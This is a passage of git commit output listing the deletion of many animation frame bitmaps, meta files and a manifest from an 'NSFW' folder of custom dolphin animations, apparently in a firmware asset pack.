assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_23/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_24/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_31.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_32.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_33.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_34.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_35.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_25/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_26/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_27/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_28/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_31.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_32.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_33.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_34.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_35.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_36.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_37.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_38.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_39.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_40.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_41.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_42.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_43.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_44.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_45.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_46.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_47.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_48.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_49.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_50.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_51.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_29/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_3/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_31.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_32.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_33.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_34.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_35.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_36.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_37.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_38.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_39.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_40.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_41.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_42.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_43.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_44.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_45.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_46.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_47.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_48.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_49.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_30/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_4/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_5/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_6/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_7/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_8/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_9/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/manifest.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_00.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_01.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_02.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_03.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_04.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_05.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_06.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_07.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_08.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_09.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_13.bm delete mode 100644 